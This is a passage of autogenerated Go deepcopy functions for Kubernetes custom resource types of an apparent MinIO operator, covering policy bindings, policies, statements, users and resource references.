deepcopy function, copying the receiver, writing into out. in must be non-nil. 381 | func (in *MinioPolicyBindingList) DeepCopyInto(out *MinioPolicyBindingList) { 382 | *out = *in 383 | out.TypeMeta = in.TypeMeta 384 | in.ListMeta.DeepCopyInto(&out.ListMeta) 385 | if in.Items != nil { 386 | in, out := &in.Items, &out.Items 387 | *out = make([]MinioPolicyBinding, len(*in)) 388 | for i := range *in { 389 | (*in)[i].DeepCopyInto(&(*out)[i]) 390 | } 391 | } 392 | } 393 | 394 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioPolicyBindingList. 395 | func (in *MinioPolicyBindingList) DeepCopy() *MinioPolicyBindingList { 396 | if in == nil { 397 | return nil 398 | } 399 | out := new(MinioPolicyBindingList) 400 | in.DeepCopyInto(out) 401 | return out 402 | } 403 | 404 | // DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object. 405 | func (in *MinioPolicyBindingList) DeepCopyObject() runtime.Object { 406 | if c := in.DeepCopy(); c != nil { 407 | return c 408 | } 409 | return nil 410 | } 411 | 412 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 413 | func (in *MinioPolicyBindingSpec) DeepCopyInto(out *MinioPolicyBindingSpec) { 414 | *out = *in 415 | out.Group = in.Group 416 | out.TenantRef = in.TenantRef 417 | out.User = in.User 418 | } 419 | 420 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioPolicyBindingSpec. 421 | func (in *MinioPolicyBindingSpec) DeepCopy() *MinioPolicyBindingSpec { 422 | if in == nil { 423 | return nil 424 | } 425 | out := new(MinioPolicyBindingSpec) 426 | in.DeepCopyInto(out) 427 | return out 428 | } 429 | 430 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 431 | func (in *MinioPolicyBindingStatus) DeepCopyInto(out *MinioPolicyBindingStatus) { 432 | *out = *in 433 | if in.Synced != nil { 434 | in, out := &in.Synced, &out.Synced 435 | *out = new(bool) 436 | **out = **in 437 | } 438 | if in.CurrentSpec != nil { 439 | in, out := &in.CurrentSpec, &out.CurrentSpec 440 | *out = new(MinioPolicyBindingSpec) 441 | **out = **in 442 | } 443 | } 444 | 445 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioPolicyBindingStatus. 446 | func (in *MinioPolicyBindingStatus) DeepCopy() *MinioPolicyBindingStatus { 447 | if in == nil { 448 | return nil 449 | } 450 | out := new(MinioPolicyBindingStatus) 451 | in.DeepCopyInto(out) 452 | return out 453 | } 454 | 455 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 456 | func (in *MinioPolicyList) DeepCopyInto(out *MinioPolicyList) { 457 | *out = *in 458 | out.TypeMeta = in.TypeMeta 459 | in.ListMeta.DeepCopyInto(&out.ListMeta) 460 | if in.Items != nil { 461 | in, out := &in.Items, &out.Items 462 | *out = make([]MinioPolicy, len(*in)) 463 | for i := range *in { 464 | (*in)[i].DeepCopyInto(&(*out)[i]) 465 | } 466 | } 467 | } 468 | 469 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioPolicyList. 470 | func (in *MinioPolicyList) DeepCopy() *MinioPolicyList { 471 | if in == nil { 472 | return nil 473 | } 474 | out := new(MinioPolicyList) 475 | in.DeepCopyInto(out) 476 | return out 477 | } 478 | 479 | // DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object. 480 | func (in *MinioPolicyList) DeepCopyObject() runtime.Object { 481 | if c := in.DeepCopy(); c != nil { 482 | return c 483 | } 484 | return nil 485 | } 486 | 487 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 488 | func (in *MinioPolicySpec) DeepCopyInto(out *MinioPolicySpec) { 489 | *out = *in 490 | if in.Statement != nil { 491 | in, out := &in.Statement, &out.Statement 492 | *out = make([]MinioPolicyStatement, len(*in)) 493 | for i := range *in { 494 | (*in)[i].DeepCopyInto(&(*out)[i]) 495 | } 496 | } 497 | out.TenantRef = in.TenantRef 498 | } 499 | 500 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioPolicySpec. 501 | func (in *MinioPolicySpec) DeepCopy() *MinioPolicySpec { 502 | if in == nil { 503 | return nil 504 | } 505 | out := new(MinioPolicySpec) 506 | in.DeepCopyInto(out) 507 | return out 508 | } 509 | 510 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 511 | func (in *MinioPolicyStatement) DeepCopyInto(out *MinioPolicyStatement) { 512 | *out = *in 513 | if in.Action != nil { 514 | in, out := &in.Action, &out.Action 515 | *out = make([]string, len(*in)) 516 | copy(*out, *in) 517 | } 518 | if in.Resource != nil { 519 | in, out := &in.Resource, &out.Resource 520 | *out = make([]string, len(*in)) 521 | copy(*out, *in) 522 | } 523 | } 524 | 525 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioPolicyStatement. 526 | func (in *MinioPolicyStatement) DeepCopy() *MinioPolicyStatement { 527 | if in == nil { 528 | return nil 529 | } 530 | out := new(MinioPolicyStatement) 531 | in.DeepCopyInto(out) 532 | return out 533 | } 534 | 535 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 536 | func (in *MinioPolicyStatus) DeepCopyInto(out *MinioPolicyStatus) { 537 | *out = *in 538 | if in.Synced != nil { 539 | in, out := &in.Synced, &out.Synced 540 | *out = new(bool) 541 | **out = **in 542 | } 543 | if in.CurrentSpec != nil { 544 | in, out := &in.CurrentSpec, &out.CurrentSpec 545 | *out = new(MinioPolicySpec) 546 | (*in).DeepCopyInto(*out) 547 | } 548 | } 549 | 550 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioPolicyStatus. 551 | func (in *MinioPolicyStatus) DeepCopy() *MinioPolicyStatus { 552 | if in == nil { 553 | return nil 554 | } 555 | out := new(MinioPolicyStatus) 556 | in.DeepCopyInto(out) 557 | return out 558 | } 559 | 560 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 561 | func (in *MinioUser) DeepCopyInto(out *MinioUser) { 562 | *out = *in 563 | out.TypeMeta = in.TypeMeta 564 | in.ObjectMeta.DeepCopyInto(&out.ObjectMeta) 565 | out.Spec = in.Spec 566 | in.Status.DeepCopyInto(&out.Status) 567 | } 568 | 569 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioUser. 570 | func (in *MinioUser) DeepCopy() *MinioUser { 571 | if in == nil { 572 | return nil 573 | } 574 | out := new(MinioUser) 575 | in.DeepCopyInto(out) 576 | return out 577 | } 578 | 579 | // DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object. 580 | func (in *MinioUser) DeepCopyObject() runtime.Object { 581 | if c := in.DeepCopy(); c != nil { 582 | return c 583 | } 584 | return nil 585 | } 586 | 587 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 588 | func (in *MinioUserList) DeepCopyInto(out *MinioUserList) { 589 | *out = *in 590 | out.TypeMeta = in.TypeMeta 591 | in.ListMeta.DeepCopyInto(&out.ListMeta) 592 | if in.Items != nil { 593 | in, out := &in.Items, &out.Items 594 | *out = make([]MinioUser, len(*in)) 595 | for i := range *in { 596 | (*in)[i].DeepCopyInto(&(*out)[i]) 597 | } 598 | } 599 | } 600 | 601 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioUserList. 602 | func (in *MinioUserList) DeepCopy() *MinioUserList { 603 | if in == nil { 604 | return nil 605 | } 606 | out := new(MinioUserList) 607 | in.DeepCopyInto(out) 608 | return out 609 | } 610 | 611 | // DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object. 612 | func (in *MinioUserList) DeepCopyObject() runtime.Object { 613 | if c := in.DeepCopy(); c != nil { 614 | return c 615 | } 616 | return nil 617 | } 618 | 619 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 620 | func (in *MinioUserSpec) DeepCopyInto(out *MinioUserSpec) { 621 | *out = *in 622 | out.SecretKeyRef = in.SecretKeyRef 623 | out.TenantRef = in.TenantRef 624 | } 625 | 626 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioUserSpec. 627 | func (in *MinioUserSpec) DeepCopy() *MinioUserSpec { 628 | if in == nil { 629 | return nil 630 | } 631 | out := new(MinioUserSpec) 632 | in.DeepCopyInto(out) 633 | return out 634 | } 635 | 636 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 637 | func (in *MinioUserStatus) DeepCopyInto(out *MinioUserStatus) { 638 | *out = *in 639 | if in.Synced != nil { 640 | in, out := &in.Synced, &out.Synced 641 | *out = new(bool) 642 | **out = **in 643 | } 644 | if in.CurrentSpec != nil { 645 | in, out := &in.CurrentSpec, &out.CurrentSpec 646 | *out = new(MinioUserSpec) 647 | **out = **in 648 | } 649 | } 650 | 651 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioUserStatus. 652 | func (in *MinioUserStatus) DeepCopy() *MinioUserStatus { 653 | if in == nil { 654 | return nil 655 | } 656 | out := new(MinioUserStatus) 657 | in.DeepCopyInto(out) 658 | return out 659 | } 660 | 661 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 662 | func (in *ResourceKeyRef) DeepCopyInto(out *ResourceKeyRef) { 663 | *out = *in 664 | } 665 | 666 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new ResourceKeyRef. 667 | func (in *ResourceKeyRef) DeepCopy() *ResourceKeyRef { 668 | if in == nil { 669 | return nil 670 | } 671 | out := new(ResourceKeyRef) 672 | in.DeepCopyInto(out) 673 | return out 674 | } 675 | 676 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 677 | func (in *ResourceRef) DeepCopyInto(out *ResourceRef) { 678 | *out = *in 679 | } 680 | 681 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new ResourceRef. 682 | func (in *ResourceRef) DeepCopy() *ResourceRef { 683 | if in == nil { 684 | return nil 685 | } 686 | out := new(ResourceRef) 687 | in.DeepCopyInto(out) 688 | return out 689 | } 690 | --------------------------------------------------------------------------------